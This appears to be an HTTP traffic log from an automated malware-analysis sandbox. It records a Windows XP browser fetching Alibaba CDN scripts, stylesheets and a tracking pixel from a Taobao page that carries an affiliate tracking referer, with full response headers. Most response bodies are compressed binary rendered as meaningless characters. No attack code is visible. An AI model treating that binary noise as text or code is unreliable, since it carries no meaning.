Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 55639

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:23:17 GMT

Last-Modified: Tue, 24 Mar 2015 08:58:33 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache4.l2de1[0,304-0,H], cache50.l2de1[1,0], cache10.de1[0,200-0,H], cache5.de1[1,0]

Content-Encoding: gzip

Age: 2031

X-Cache: HIT TCP_MEM_HIT dirn:1:137414764

X-Swift-SaveTime: Mon, 01 Jun 2015 17:51:29 GMT

X-Swift-CacheTime: 3600

............yw.G....>....%.....H.:..$...slg&......H.)...H..~..P..E9..;......X].B.P..@.|..hz.q6......{....>y....w{.....v.~~.j....N.io.s9.........8.......o|.......Wo.z.Joz..i.........$..Iw1.N....w...y..~4yW.N......d.:......t.Hf...a.k].==.....7..?>j.%..^.x......b?yu.[..^......7/...z...7.....W..yq.....g..._.z..........|....o.<{.....>.I.=.9......G.......~.%.............^..........$m]..........y{4id..9.z....9.I..tQ...a..!.....^}<...iC..}.6g..r6Y.n.Z..M...W.z[...MBoG....O.3...uK...6....f.Q.....`...Z....=..F......W..R..l.............t.lW....>.H'.Z3{.a.*...5...T.v..t...?j[..j.ViT..3>...E..i..5.........F...Y-...y..{Vk..)c.w.g....).......$t/..K4..Y.I}.~......E......../.s....../.3............k.....YF......-H......M2.C.....|...!./AD......^}.H.77.....W0....%M.. .R.....{-G..............t.......e.Ims......V@..4...[[L.V/Cv.&a..y.....7...x...>\T .T [;....N....../_..k.{[<..G'.......|z9..[.Z.`..C.......l}QI*.J..yZ?.}..I.....\.......R7.X...y.*...I..!{r9..Z..J......F.j;.8s............R$5&.'vq`.Z.F..o4...y5.R....8........&....<.......D'....`.}.......J.........{......w..N...x~.RHg......S?..z..z<.^\..DF...ZL.z..{...#.....m.&.....".....%#.~.r..N.G......sJ...z.~X....|L.6...@.w[;..?......y=..$..{....5f.....;\..A]...^...~.[...6L..R.........x.jz....}~.I...E..cJ?4...|.@...N...<.nF.*.lT ..JF....N}~.vG.Q.;....'..N../.do......|Qmg.U.......l......k.{}......bjR..FE..4..$B..LO4.J...QQ.9..J.Og.La..JI.;n...._..Jr..0N'..X...........vw4........\ md....@0}. ...........P...yz..hT..s........z..Q....A.N.0..7b...(..(T

<<< skipped >>>

GET /s.gif HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:12:37 GMT

Last-Modified: Fri, 11 Oct 2013 04:52:49 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Accept-Ranges: bytes

Via: cache18.l2de1[0,304-0,H], cache64.l2de1[0,0], cache7.de1[0,200-0,H], cache5.de1[0,0]

Age: 2671

X-Cache: HIT TCP_MEM_HIT dirn:0:552702763

X-Swift-SaveTime: Mon, 01 Jun 2015 17:52:23 GMT

X-Swift-CacheTime: 3600

GIF89a.............!.......,...........D..;HTTP/1.1 200 OK..Server: Tengine..Content-Type: image/gif..Content-Length: 43..Connection: keep-alive..Date: Mon, 01 Jun 2015 17:12:37 GMT..Last-Modified: Fri, 11 Oct 2013 04:52:49 GMT..Cache-Control: max-age=315360000,s-maxage=3600..Access-Control-Allow-Origin: *..Accept-Ranges: bytes..Via: cache18.l2de1[0,304-0,H], cache64.l2de1[0,0], cache7.de1[0,200-0,H], cache5.de1[0,0]..Age: 2671..X-Cache: HIT TCP_MEM_HIT dirn:0:552702763..X-Swift-SaveTime: Mon, 01 Jun 2015 17:52:23 GMT..X-Swift-CacheTime: 3600..GIF89a.............!.......,...........D..;....

GET /??ju/home/1.3.5/pages/2015/index-min.js,kissy/k/1.3.2/template-min.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 14424

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:46:20 GMT

Last-Modified: Thu, 21 May 2015 09:58:29 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache55.l2de1[584,304-0,H], cache29.l2de1[584,0], cache8.de1[0,200-0,H], cache5.de1[1,0]

Content-Encoding: gzip

Age: 649

X-Cache: HIT TCP_MEM_HIT dirn:2:446747584

X-Swift-SaveTime: Mon, 01 Jun 2015 17:46:20 GMT

X-Swift-CacheTime: 3600

............_s..u...).....M..<I.P..5.5..[k..JQ\U.h.-..pw..M.*....}...'....V..I...b...?}..5....,....s..s...<{.....l..V7..rV.>=:..p..EVE.|SL..,.Y..E..n..^...:.zy...".G..}.C..?3u..|o._Q*.........7....>....e>..y|[../..(.^....n...(..E..M.C...8ed..y./.Y...l.M.l...l.....l>..(..3jdi...Q...gesE.M...F..q.i..T{t...Y]...O..C.L......`.1.~4..e.......3.4....:-.e}......e.?}:......Lg/7uS..O.p.m...4..."...........w..`p.`....."iv.=........y9....e4.^5.e.5..?....0.o...^...U_..J.?.uB..L...M.t..'.f...7..'..o_..W....~u.i.............C....,....Y:...O...R.MO.......Y6.~.I..........3f..........<./.../.....fC[....{r%|.Lt...W.......*),..f....ure...y.$..u....b.\..O.......r0..Uy....Y..b.O....;.>..R..;..].....04......l.....^3.........:.V.r.a.d..;}K...ME..yZ-..v...\.u....l....R....l.....0.......o.tv..9.N.)...P(KIKM..........MYF.5^&..-...xY...l.0...)s..fS..&iN!.(...^/s..Y........8.l......@G.....N94....s...>:R&V..M.n.wuO(.^#...V..7.n=.....i.Z...a..d....M..KH^.....l..2..D.w....q.*-.....8`.i.&9...9.._.u..o.......u64..z.]i.T.H.......Wi..j.........E0L......X..# ..gI.......7.3_.H......[.0F%B.V....U.,....0.X....-.....S.,8.0....8.....*h-..%7..a....St..u.V...Xo...?Fd@...........WD.V.FPDKz.u.%.X..r....m..k.."...#...d.w.kf....U...O..$)N!..t...........`t].......i.&....G$....................|q%............\..L.`Y%.. H ............o.J.".]..H.%.M.......4..c.V=.J!........rM......k....\....o:o.o|....U.jj.V......5.r_.h.QPH.O..2.rv.......^.3.......F$.^T."/T..Vw..p.A1...uf?..f..v..1..L..U&......_..c.a.)nd.@.<_e..i.......cT. .B..Q...#p.

<<< skipped >>>

GET /ju/??jufav/1.0.29/jufav-min.css?t=16588.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 13705

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:58:58 GMT

Last-Modified: Thu, 26 Mar 2015 05:59:10 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache33.l2de1[0,304-0,H], cache25.l2de1[0,0], cache1.de1[0,200-0,H], cache5.de1[1,0]

Age: 3491

X-Cache: HIT TCP_MEM_HIT dirn:4:651877635

X-Swift-SaveTime: Mon, 01 Jun 2015 17:06:19 GMT

X-Swift-CacheTime: 3600

/* JBC-V2 build, 2015-03-25 4:08:36 PM */...ks-track,.ks-track-hover,.ks-track-active,.ks-scrollbar,.ks-arrowup,.ks-arrowup-hover,.ks-arrowup-active,.ks-arrowdown,.ks-arrowdown-hover,.ks-arrowdown-active,.ks-drag,.ks-drag-hover,.ks-drag-active,.ks-dragtop,.ks-dragbottom,.ks-dragcenter{width:10px}.ks-scrollbar{position:absolute;top:0;right:0;bottom:0;background-color:#e3e3e3}.ks-track-hover{background-color:#d9d8d8}.ks-track-active{background-color:#d9d8d8}.ks-track{position:absolute}.ks-arrowup,.ks-arrowdown,.ks-arrowup a,.ks-arrowdown a{display:block;text-indent:-1000px;width:8px;height:8px;overflow:hidden;border:1px solid #000;right:0;position:absolute}.ks-arrowup a,.ks-arrowdown a{border:0}.ks-arrowup{background-color:#959695;top:0}.ks-arrowup-hover{background-color:#9ccae3}.ks-arrowup-active{background-color:#3c7fb1}.ks-arrowdown{background-color:#959695;bottom:0}.ks-arrowdown-hover{background-color:#9ccae3}.ks-arrowdown-active{background-color:#3c7fb1}.ks-drag{background-color:#979797;position:absolute}.ks-drag .ks-dragtop,.ks-drag .ks-dragbottom{display:none}.ks-drag .ks-dragcenter{position:absolute;top:50%;margin-top:-10px;height:20px;background-color:#18598a}.ks-drag-hover{background-color:#9ccae3}.ks-drag-active{background-color:#3c7fb1}.clear-track,.clear-track-hover,.clear-track-active,.clear-scrollbar,.clear-arrowup,.clear-arrowup-hover,.clear-arrowup-active,.clear-arrowdown,.clear-arrowdown-hover,.clear-arrowdown-active,.clear-drag,.clear-drag-hover,.clear-drag-active,.clear-dragtop,.clear-dragbott

<<< skipped >>>

GET /ju/??jupopup/1.0.7/box-min.css?t=16588.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 4767

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:06:20 GMT

Last-Modified: Mon, 23 Mar 2015 09:46:47 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache58.l2de1[592,304-0,H], cache22.l2de1[593,0], cache1.de1[0,200-0,H], cache5.de1[0,0]

Age: 3050

X-Cache: HIT TCP_MEM_HIT dirn:0:11732567

X-Swift-SaveTime: Mon, 01 Jun 2015 17:06:20 GMT

X-Swift-CacheTime: 3600

.ju-popup-wrapper{width:100%;height:100%;position:fixed;_position:absolute;top:0;left:0;z-index:9000}.ju-popup-mask{background-color:#999;width:100%;height:100%;opacity:.5;filter:alpha(opacity=50);position:absolute;left:0;top:0}.ju-popup-hidemask .ju-popup-mask{display:none}.ju-popup{position:relative;border:7px solid #BBB;width:350px;top:30%;margin-left:auto;margin-right:auto;-moz-border-radius:5px;-khtml-border-radius:5px;-webkit-border-radius:5px;border-radius:5px;z-index:5000}.ju-popup .hd{height:22px;line-height:22px;padding-left:8px;background-color:#DC442F}.ju-popup .hd h3{color:#FFF;font-size:12px}.ju-popup-wrapper .error .hd,.ju-popup-wrapper .failure .hd,.ju-popup-wrapper .prompt .hd{background-color:#CA0002;font-weight:700}.ju-popup-wrapper .success .hd{background-color:#8EAF1B}.ju-popup-wrapper .white .hd{background-color:#fff;font-weight:700;border-bottom:1px solid #D1D1D1;zoom:1}.ju-popup-wrapper .white .ft .btn-close{color:#C9C9C9}.ju-popup-wrapper .bd .icon{float:left;width:60px;height:50px;background:url(//assets.alicdn.com/app/sns/img/emots.png) -1000px -1000px no-repeat;min-height:50px;_height:50px;margin-left:-60px;position:absolute}.ju-popup-wrapper .failure .bd,.ju-popup-wrapper .prompt .bd,.ju-popup-wrapper .success .bd{padding-left:85px;min-height:50px;_height:50px}.ju-popup-wrapper .prompt .bd .icon{background-position:0 -100px}.ju-popup-wrapper .failure .bd .icon{background-position:-60px -50px}.ju-popup-wrapper .success .bd .icon{background-position:-120px 0}.ju-popup .bd{background-c

<<< skipped >>>

GET /ju/home/1.3.5/pages/2015/index.less.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 3730

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:06:09 GMT

Last-Modified: Thu, 21 May 2015 09:58:29 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache19.l2de1[0,304-0,H], cache8.l2de1[1,0], cache5.de1[0,200-0,H], cache4.de1[0,0]

Content-Encoding: gzip

Age: 3058

X-Cache: HIT TCP_MEM_HIT dirn:6:277250102

X-Swift-SaveTime: Mon, 01 Jun 2015 17:35:41 GMT

X-Swift-CacheTime: 3600

...........[ko.F.. ....^..$..(.h..m.......G..I.)R .........;3|..cQ..eq.w........-D|..4/......f..d...*..g..o.!2n1...7...l.n.q.F.."?d1...a.d.z....i....w.y.TI....*Q8w....K./..:..b.d....*_..8N.....*...VK'.m..EQ%Q..a.l....<....... .T....".I.<..Q...Cy...$....x.....X.<.t...y...Y....1..m0...7.....r!...\..z..HA..b.....1.&q,2{jg;=...r.......e.bK..:O..L&........r.....S..5..V.S-..k.{=..H..e..... ../.Q.9\....X..f[....r...E..C*.!..........R...~K.........J.QP#.....$.d.../\~...h/..3...........W.x5<.....L*.K....|..r...as...#......V6y..-2.c{>..1N.=...6.....U.e.PZ.....J.>..[...>..CRA4=..6...}.c....*|._..7../.].u\.1....f..@GE.....(.|..\~..(....mx...VTM....F.2.1.~u........);'..S3L.(u{.;..S.......'. ...g..="/...Pf.k).;...E.S.}..;.1.%8.....M. ....?.3/.wW...J&W..N..o...?.Wx..........u'3....}.9wT.R.t....E.,-..*...~m.........W7.b..,...9ir4..-;...*..f..,.v.../.I.U4...&...?.........r...9.......C.)...k~...^|._:.....!$.P..~s.X......>....s.@.b....;...WS.v.M....=.2K.[Y.J .t(...:A.h...>0.........~w..*..\.J.s..&-.E%:.%..}. Z.2.W.TD.. {..Zd....r6.\\_z......l.:.......GPGuT;.....Q...-.f.Nb&j@...E8w...`...z<......e].;Q:F.#..#.V.{.%..z..\6...n....Ag......."~DyP7.!1U...K*]....86*C........p..b.2L.jl%....jU. .9...x...a)...Kt?V^....[{=^...Je..,.P...v........).a.Q.4.o.J..[...t..@..".......J&..m$.H...V.U. .1......V.hT"p..;3..Y5.b6..*.........E...oqg....A*....\Y..X..o.5.W..u.%.........a{..4...Rb..Wi.=...m.u.`Fv|6-..{%.#.j....m......5F|..B..n8.>Y>....Uve.#......h[m..........g... >..:...B..QkhaR..UG..-..lL.8.,|...^.k.B.

<<< skipped >>>

GET /alilog/mlog/aplus_v2.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 11398

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:50:43 GMT

Last-Modified: Thu, 28 May 2015 08:49:58 GMT

Cache-Control: max-age=7200,s-maxage=3600

Vary: Accept-Encoding

Via: cache64.l2de1[604,304-0,H], cache20.l2de1[294,0], cache8.de1[0,200-0,H], cache4.de1[0,0]

Content-Encoding: gzip

Age: 385

X-Cache: HIT TCP_MEM_HIT dirn:7:448046698

X-Swift-SaveTime: Mon, 01 Jun 2015 17:50:43 GMT

X-Swift-CacheTime: 3600

...........}.w.H.._.u..P...q.[Da9......c'..0.*@6.Ab$........*.$p&so....T/...y.s..|..j....wv..j...~.Z./....h..qT...;.le~..^.... ..@Db.....V.$..Q.e...d..HR4i....;..9..:#g....3s.......h..;..8.-fA.9.........u..N......8."1...7.w.....v... ../....?...."......\Z.s.....I.l.D[s....i,2.;..S1... .y....'U...Y...\....m..{.m'.G..z...$...V.w.N=.|.D6....2..Y.].....i..Z.k.k.:....:......8.|.rN.O..s..F= .?.8>..................U...n......7.w......2.....Q].^k.\...f....[...f.?] .&Aby..9/U........8.K............}.m9.H...V.)e..Y?...d./a....]......b..0N..$..N)%6...Q.eq:A...q..h.`.H.....y.........N.h...).VF......Z{.n..jP.l..h..s..L.&.0..(..}G.-'.3w.D7......FC...;.m..f;x8.f...@Sj).......:..e......`Ik......Y8....A....|}..0....Q/...>6...WI7......Y.f......"............v{.................g..Y....{....s....wZ.,p.....N/...v.......:}.....{A4...;;o,...Z...%....i@..n..;.....A.O...6.<.{G.{.z..nc.2O0..m4I.Y..Rq-.P.].`|..~..bap....x.$B....p.g...9.$.N..|"@..o.N...p..:5..f).."........kE..C.....:....Vi Z..Z....25....KqC....A.Q..vyz.n.y...x.6W.[...y.v....A. .s...9v..... }..... .}.[a.........=..A....s7..F.).).y.(...`....`....4........H...*.|KR.>rT.T.1[8;...W....?..s]..SEQ.3k.2.m.,W.4.L.....S K.....$....4.N.,..M...LO...A/......5!..]I....>.,......nW)KM'....].x5S9.X.pJ..`.E..0.Z..l.%...F.,>....P`....U.S...[J(4C=.n.).i..B.........L>.N.......$.O.K.1...GLG..b.....I,A=g.WM...T......u....P..l.Z>.9.y.c....j..D..d....I.X.....*.....bKq.g...Uy.g....0.Y.......>s..Q.A.Fm...h..r.4.....$r$.*.....j.. .8...Ni.... i.z.z.|.."....N........;.=...Ki..

<<< skipped >>>

GET /ju/??lazyload/1.1.7/index-min.js,julog/1.0.10/index-min.js,julogin/1.1.3/index-min.js?t=16588.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 6096

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:51:42 GMT

Last-Modified: Thu, 21 May 2015 09:58:06 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache44.l2de1[0,304-0,H], cache48.l2de1[1,0], cache5.de1[0,200-0,H], cache4.de1[0,0]

Content-Encoding: gzip

Age: 3926

X-Cache: HIT TCP_MEM_HIT dirn:2:268168386

X-Swift-SaveTime: Mon, 01 Jun 2015 17:15:57 GMT

X-Swift-CacheTime: 3600

...........[[s#.u. `...1......4Bq)mLy- .*..fP...0..4<3.eA.-..<...<%O.r^......DN._.;.=.....*[.......~z.v~q.KOD...'a/....%....x/zq..{...,,c.9%.\.. ......;..]..(...Eq.H.C0....Q._.T...oE........t..Q|..s..[.\f.W*.^..2/_.....s..iq .[.,.0.:...o*....h."P..|XH.......q....\....;,...8(....e.`..g..>L...fA.s..r.gN....}|....f..H.).*.1.....7.[..s=e..C...j....]..;.7.)........h...n..jY..;....u....e<....MK{e.R-.S=cc.%.....pE{....B.....do....C..n,..`... ..9-...R-.4XQ./8j....._t.3|..R...K.Y.k.. .-N]...3}.....-..[.....%.`UO..o.sQ..T.....I..(.li.c0.m...E......DR7S.>C{.....o..g #l..o.P..j.q...........u.>..B.....RP&.:f...@....ND..br-..QD. .....K Oy..J...-.p.....5CSWQ...T...$....3oL...o..U..5...T....).=x..d.L...7a.......ib...,.. .T.]..,..BN}q....y..,"...tvP.!....!.....N~.....tf.\J..p....$y|.w.<..mw.dI....*...$.#@..5I8P.Po..F. F.Ak............K.,.^...v[",....J.g$I.X........W.P..n.s.z......B.}..zsU.|..^d......R......H.Q{-.."`..../2..Ir*.I..$`..$.w. .\%.... .2........e..G.&....\......"h........B...a"..(....w..)...Uw.YN...^..6.x..m4...l......d..7ph...z......l/(1U...&0..#..e.O .AfkA.5..G..........(.(-.....!.!K[.......{A.y.}....`...._..!./.o..9w.P..[(\..H..8..#B.\..l... .vW......b.X..t......]8zG.7?DN..m.,.z...}s...x:..,......2..\%...V.....F{.7...R.^..a./.j.^..k....^....@(n .4........;\...5......9....r......&.;..JnA....&.d........e.>.........`...,..g.$..j.x..N.l..k...Ff.3....O...=/eZ.w5...?..*.=?S.4.q.9.. ...iL_...J..#.........$..T..a..0.=..#qX4D...Coc.P.P..`0E[.e.....3.Y...jV=.%.naN..h.U..... ^.f..7V<K-Sxu..E|0;

<<< skipped >>>

GET /alilog/mlog/??spm.js,spmact.js?v=141204 HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 5866

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:01:53 GMT

Last-Modified: Thu, 28 May 2015 08:49:58 GMT

Cache-Control: max-age=7200,s-maxage=3600

Vary: Accept-Encoding

Via: cache25.l2de1[0,304-0,H], cache59.l2de1[0,0], cache1.de1[0,200-0,H], cache4.de1[0,0]

Content-Encoding: gzip

Age: 6915

X-Cache: HIT TCP_MEM_HIT dirn:4:658536819

X-Swift-SaveTime: Mon, 01 Jun 2015 17:00:52 GMT

X-Swift-CacheTime: 3600

...........[...6.. #.......q.VZ.........]N.U..I...P.hdI........N..WWu..2E. .h...nL..E....w.........{.........<Lb............$..y..e2/..L...].B_..X......_....w,....."_..If.........N..nZ..v>..g..<..y..3....v;w.2...Y8 r..?....-k`Y..1..bg..m..........dS.f..-YI..'.Qr-kR..NZAQ3VI.e9...`,X.)..rs.F.....5.{..u.q{4.o.cw<>...N:...,..m[.x..8..}...NWan[..T... .V..1..k{...q o^...z.."Po......b.ga..,f.rE?.hM?..Wy..#.....H.z,.I..d..0......Q<q.r.[.f^..-..5.;^X q..d~.7....(.]I??{.eb;Aw.J5.i...}...[5V-..:!........Y........e7../.@.g...Zj=..f<.,.....~&......0^w.....`..#.O.....;.c........4...hH...:....@.....$J.X.d...>T..7./`>....k.....OV2.....wb.RD...R..3.M......V...zG2.X.hb.),.m.".eL@. ..Z.....G.......f\...3Gg9Z..h.%y!'<..XZ8...WI....9..3,...Y.&..O.....0/.?....Y"]...\fQ....E.1.bp.3..4..'q..Y.p.I.Q.:kx}}L.&....b^._..._.$d<...&..|x.O%.I*U...\...../K...6W.@L.N.X(.\Of(z..`3.1pR..C. .? hN.....Y. ...%.i....Y42.j.`...y..X../..K..5&...rY.o.;:l.yh..Y.~.......N..t..n..M..s;.......i.R/D.t....|...|w..w.....3..Id;Nm............n.&JN.Y..A...X.....$.Y..'..bnY.|$', .u.'.B:^<..(CG..Y.....YV.M...../.....,$.`!..$..0#...Q6!..DAw}....F.#n#.AM..7........L.-v..(.....De-..].1".Qy.\....../b.]'ap.s.@=.....J.JbB-NG2. .(..~.......I...7....~.....9.......^...C.j..1SNB(......_.9v}..\V..V.^C!2.{.....9H..b-.d.[CZfvD.....s0v.U.X.u....._...p^" .2@......^.c/....=....%...?.gosP...3...P.U...0.f..Gc.....g.@_..i.-.V.HW...}..Y..x.......^..z/q.......m....3hF..!.nd.%0....{)....6....;a'.....0.y..v.|.G....,s.7.........3.......hq.........'.k.

<<< skipped >>>

GET /ju/??jufav/1.0.29/index-min.js?t=16588.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 6052

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:56:05 GMT

Last-Modified: Thu, 26 Mar 2015 05:59:10 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache63.l2de1[0,304-0,H], cache31.l2de1[0,0], cache10.de1[0,200-0,H], cache4.de1[0,0]

Content-Encoding: gzip

Age: 3664

X-Cache: HIT TCP_MEM_HIT dirn:2:353488538

X-Swift-SaveTime: Mon, 01 Jun 2015 17:06:19 GMT

X-Swift-CacheTime: 3600

...........[is....>..FjD .A..)..U...8/N2.3.W.K...$$,4.-.....n4.R...x....@...}.....|........;^.F......o..............t....?^.{.O....]z...\...c..p:.. ...Ko5sQ&~....L........e...,.E........ruf....d..k....E....b.._.KW....,.K..Lc....y...H.x].8...&ck.......=.g....=S.....ly.&..I.Q......~a..(..\Mj...f.t..i..H3Ky.J5.ZL.,.......&X.f......I.y.......=...Km......uo.$Ho......].K Hc.&......].X..i.AG..........KK<...z,..^.4..1#...OL8..a.....~..w...\G).x..^~y..<M.~.E./.b.]Y."..<.yg....~.?.q...nyY:...(.7.HY..'h"r^.....f....`.M.E..z..[$.b'&.....M.b>.h....k&O...E.s...fj..4...}|0..>.<..y.1.....L.V>.......}$..F.B4...A^..x...]@..3.$..;~....JS@.......Z...>.<k......[.a...B^.a.=?..f-i...{.....|(.C..P..'G...=b....q=.........k.<.O...16=.Da.......U..)..}.8.M.?[k@......c?..G............49.N........k{.....v.zGZ..i..4<.9...rj...7.9Z.6....Cy..A....!..6..L......[...ems..${.`.`..d...0.j......%........X..>...?..X...L.m........i.-...!dp...)%\....f.q..).u4t...7=.:.1...;..q.9../.S.....`.IX.j.O>...Ye..T........o....0...f.ma.`$.....a..`.......>j..a..*k..........{......~v...;..pe...F..2K4..3....V.....D7N....8..gd..[...Sf.p...........G.....m..ooQ.......z.Oc#v}&-...F..R....K..y.K..@.dG{..B.5.E..T%3q".y........3.0...U.vO.l......o ....c....}...& .,.fX..-..f....eR........v.....%. K.q......d[^.)....-...{W.../.....l4H*..Z.\.|..sS.>....<s...I.4.........8..F..G..;&k.`..........R...WV.Jo..@.2..Qa:d.*..L..jsp.}o.<A.2.,c ...0 .....:....).1.`..}.u..K...c=.`.....1...J...N<.9Wo..^.Ojm..`1..Sl[C..._'.uH..$..-.1..

<<< skipped >>>

GET /ju/??jupopup/1.0.7/index-min.js?t=16588.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 1734

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:56:07 GMT

Last-Modified: Mon, 23 Mar 2015 09:46:47 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache21.l2de1[0,304-0,H], cache41.l2de1[0,0], cache10.de1[0,200-0,H], cache4.de1[1,0]

Content-Encoding: gzip

Age: 3662

X-Cache: HIT TCP_MEM_HIT dirn:5:355566119

X-Swift-SaveTime: Mon, 01 Jun 2015 17:04:52 GMT

X-Swift-CacheTime: 3600

